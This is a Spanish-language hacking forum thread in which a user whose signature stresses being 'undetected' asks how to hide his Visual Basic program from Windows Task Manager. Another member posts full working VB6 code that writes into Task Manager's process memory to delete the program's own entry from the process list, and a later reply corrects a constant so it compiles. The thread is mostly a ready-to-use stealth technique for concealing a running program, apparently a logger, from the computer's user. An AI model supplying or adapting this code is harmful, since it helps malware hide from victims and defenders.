elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Process Hide Visual Basic Help Ayuda
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Process Hide Visual Basic Help Ayuda  (Leído 3,120 veces)
Harmmy

Desconectado Desconectado

Mensajes: 24


Visual Basic And Undedected


Ver Perfil
Process Hide Visual Basic Help Ayuda
« en: 3 Agosto 2012, 07:08 am »

I want to hide my project list taskmgr.exe.
help?
Hide process ?


En línea

Msn: harmmylogger@hotmail.com
Visual basic and undedected
Elemental Code


Desconectado Desconectado

Mensajes: 622


Im beyond the system


Ver Perfil
Re: Process Hide Visual Basic Help Ayuda
« Respuesta #1 en: 4 Agosto 2012, 18:45 pm »

hi, i once used a piece of code that hided the proces from the taskmanager process list by hacking into and hiding it from the listbox.
The problem was that the memory needed by taskmanager went up as long as it was open.

I cant remember the name, but cant be that hard to find.


En línea

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas
seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: Process Hide Visual Basic Help Ayuda
« Respuesta #2 en: 4 Agosto 2012, 21:33 pm »

hi, i once used a piece of code that hided the proces from the taskmanager process list by hacking into and hiding it from the listbox.
The problem was that the memory needed by taskmanager went up as long as it was open.

I cant remember the name, but cant be that hard to find.

es un codigo que esta por aca en el foro, lo oculta del listview que tiene el administrador de tareas.
En línea

Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: Process Hide Visual Basic Help Ayuda
« Respuesta #3 en: 5 Agosto 2012, 15:50 pm »

maybe yo need this code.


Código:
Option Explicit
'Declaraciones Api
'*************************************
'Retorna un handle de ventana
Public Declare Function FindWindow _
  Lib "user32" _
  Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long

'Enumera las ventanas hijas a partir de una superior
Public Declare Function EnumChildWindows _
  Lib "user32" ( _
    ByVal hWndParent As Long, _
    ByVal lpEnumFunc As Long, _
    ByVal lParam As Long) As Long

'Devuelve el texto de una ventana a partir del handle
Public Declare Function GetWindowText _
  Lib "user32" _
  Alias "GetWindowTextA" ( _
    ByVal hwnd As Long, _
    ByVal lpString As String, _
    ByVal cch As Long) As Long

'REcupera el nombre de la clase de ventana a partir del handle
Public Declare Function GetClassName _
  Lib "user32" _
  Alias "GetClassNameA" ( _
    ByVal hwnd As Long, _
    ByVal lpClassName As String, _
    ByVal nMaxCount As Long) As Long

Public Declare Function SendMessage _
  Lib "user32" _
  Alias "SendMessageA" ( _
    ByVal hwnd As Long, _
    ByVal wMsg As Long, _
    ByVal wParam As Long, _
    lParam As Any) As Long

'Apis para usar un temporizador
Public Declare Function SetTimer _
  Lib "user32" ( _
    ByVal hwnd As Long, _
    ByVal nIDEvent As Long, _
    ByVal uElapse As Long, _
    ByVal lpTimerFunc As Long) As Long

Public Declare Function KillTimer _
  Lib "user32" ( _
    ByVal hwnd As Long, _
    ByVal nIDEvent As Long) As Long

Private Declare Function GetWindowThreadProcessId _
  Lib "user32" ( _
    ByVal hwnd As Long, _
    lpdwProcessId As Long) As Long

Private Declare Function ReadProcessMemory _
  Lib "kernel32" ( _
    ByVal hProcess As Long, _
    lpBaseAddress As Any, _
    lpBuffer As Any, _
    ByVal nSize As Long, _
    lpNumberOfBytesWritten As Long) As Long

Private Declare Function WriteProcessMemory _
  Lib "kernel32" ( _
    ByVal hProcess As Long, _
    lpBaseAddress As Any, _
    lpBuffer As Any, _
    ByVal nSize As Long, _
    lpNumberOfBytesWritten As Long) As Long

Private Declare Function OpenProcess _
  Lib "kernel32" ( _
    ByVal dwDesiredAccess As Long, _
    ByVal bInheritHandle As Long, _
    ByVal dwProcessId As Long) As Long

'Constantes
'****************************************

Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx _
  Lib "kernel32" ( _
    ByVal hProcess As Long, _
    ByVal lpAddress As Long, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long) As Long
    
Private Declare Function VirtualFreeEx _
  Lib "kernel32" ( _
    ByVal hProcess As Long, _
    lpAddress As Any, _
    ByVal dwSize As Long, _
    ByVal dwFreeType As Long) As Long
    
Private Declare Function CloseHandle _
  Lib "kernel32" ( _
    ByVal hObject As Long) As Long

'Constantes para el ListView de la ventana del administrador de tareas
Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Private Const ILVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104


Public Type LV_ITEM
  mask As Long
  iItem As Long
  iSubItem As Long
  state As Long
  stateMask As Long
  lpszText As Long 'LPCSTR
  cchTextMax As Long
  iImage As Long
  lParam As Long
  iIndent As Long
End Type

Type LV_TEXT
  sItemText As String * 80
End Type


Public Function Procesos(ByVal hWnd2 As Long, _
             lParam As String) As Boolean
 
 Dim Nombre As String * 255, nombreClase As String * 255
 Dim Nombre2 As String, nombreClase2 As String
 Dim X As Long, Y As Long
 X = GetWindowText(hWnd2, Nombre, 255)
 Y = GetClassName(hWnd2, nombreClase, 255)
 'Buffers
 Nombre = Left$(Nombre, X)
 nombreClase = Left$(nombreClase, Y)
 
 Nombre2 = Trim$(Nombre)
 nombreClase2 = Trim$(nombreClase)
 
 'SysListView32 es el nombre de clase del LV del Administrador de T
 If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
   OcultarItems (hWnd2)
   Exit Function
 End If
 
 If Nombre2 = "" And nombreClase2 = "" Then
   Procesos = False
 Else
   Procesos = True
 End If
End Function

'A esta función se le pasa el Handle del ListView del Administrador de tareas _
que es obtenido desde la función " Procesos "
Private Function OcultarItems(ByVal hListView As Long) ' As Variant
  Dim pid As Long, tid As Long
  Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
  Dim DirMemComp As Long, dwTam As Long
  Dim DirMemComp2 As Long
  Dim sLVItems() As String
  Dim li As LV_ITEM
  Dim lt As LV_TEXT
  If hListView = 0 Then Exit Function
  tid = GetWindowThreadProcessId(hListView, pid)
  
  'Obtiene el número de items del ListView
  nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
  
  If nElem = 0 Then Exit Function
  
  ReDim sLVItems(nElem - 1)
  
  li.cchTextMax = 80
  
  dwTam = Len(li)
   DirMemComp = GetMemComp(pid, dwTam, hProceso)
   DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
  
   For i = 0 To nElem - 1
     li.lpszText = DirMemComp2
     li.cchTextMax = 80
     li.iItem = i
     li.mask = LVIF_TEXT
     WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
     lt.sItemText = Space(80)
     WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
    
     'Recupera un item del LV
     Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
     Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
    
     'Acá verifica si lt.sItemText es el nombre del exe. Si está Lo elimina
    
     If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then
      Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
      Exit Function
     End If
   Next i
  
   CloseMemComp hProceso, DirMemComp, dwTam
   CloseMemComp hProceso, DirMemComp2, LenB(lt)

End Function

Private Function GetMemComp(ByVal pid As Long, _
              ByVal memTam As Long, _
              hProceso As Long) As Long
  
  hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ _
              Or PROCESS_VM_WRITE, False, pid)
  GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, _
              MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Private Sub CloseMemComp(ByVal hProceso As Long, _
             ByVal DirMem As Long, _
             ByVal memTam As Long)
  
  Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
  CloseHandle hProceso

End Sub

'Elimina los nulos
Private Function TrimNull(sInput As String) As String
  Dim pos As Integer
  pos = InStr(sInput, Chr$(0))
  If pos Then
   TrimNull = Left$(sInput, pos - 1)
   Exit Function
  End If
  TrimNull = sInput
End Function

'Temporizador que cheaquea constantemente si el Administrador de tareas está ejecutandose
Public Sub TimerProc(ByVal hwnd As Long, _
           ByVal nIDEvent As Long, _
           ByVal uElapse As Long, _
           ByVal lpTimerFunc As Long)
  
  Dim Handle As Long
  'Se obtiene el HWND del administrador de tareas
  Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")

  'Si el administrador está visible el handle es distinto de 0 _
  y se llama a EnumChildWindows pasandole el Handle del AT y la dirección _
  de la función Procesos. EnumChildWindows obtiene el handle del ListView
  If Handle <> 0 Then
    EnumChildWindows Handle, AddressOf Procesos, 1
  End If
End Sub

'Oculta y visualiza el item del proceso
Public Sub Ocultar(ByVal hwnd As Long)
  App.TaskVisible = False
  SetTimer hwnd, 0, 20, AddressOf TimerProc
End Sub

Public Sub Mostrar(ByVal hwnd As Long)
  App.TaskVisible = True
  KillTimer hwnd, 0
End Sub

Example

Código:
'Oculta el proceso del Administrador de Tareas
Private Sub Command1_Click()
  Ocultar Me.hwnd
End Sub

'Visualiza el proceso
Private Sub Command2_Click()
  Mostrar Me.hwnd
End Sub

Autor: L.Ascierto


Do not create topics with same answer Please.
« Última modificación: 5 Agosto 2012, 15:53 pm por Danyfirex » En línea

Harmmy

Desconectado Desconectado

Mensajes: 24


Visual Basic And Undedected


Ver Perfil
Re: Process Hide Visual Basic Help Ayuda
« Respuesta #4 en: 5 Agosto 2012, 17:48 pm »

LVM_GETITEMW  Variable not defined
En línea

Msn: harmmylogger@hotmail.com
Visual basic and undedected
Dessa


Desconectado Desconectado

Mensajes: 624



Ver Perfil
Re: Process Hide Visual Basic Help Ayuda
« Respuesta #5 en: 5 Agosto 2012, 21:49 pm »

Declaraste mal

Private Const ILVM_GETITEMW = (LVM_FIRST + 75)



es:

Código:

Private Const LVM_GETITEMW = (LVM_FIRST + 75)


or

Código:

Private Const LVM_GETITEMW = &H104B


En línea

Adrian Desanti
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda en visual basic
Programación Visual Basic
kristian 5 5,242 Último mensaje 26 Noviembre 2003, 08:42 am
por byebye
Ayuda en BASIC... no visual basic
Ejercicios
mike_soto 3 5,250 Último mensaje 19 Junio 2007, 23:40 pm
por mike_soto
Cual se utiliza mas actualmente Visual Basic o Visual basic.net?
Programación Visual Basic
Axus 9 13,273 Último mensaje 4 Julio 2009, 07:00 am
por el_c0c0
[Ayuda] Sniffer en visual basic, para visual basic
Programación Visual Basic
The_Shakah 8 10,722 Último mensaje 18 Agosto 2010, 19:35 pm
por _katze_
Process Hide Visual Basic Help Ayuda
Análisis y Diseño de Malware
Harmmy 0 2,290 Último mensaje 3 Agosto 2012, 07:35 am
por Harmmy
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines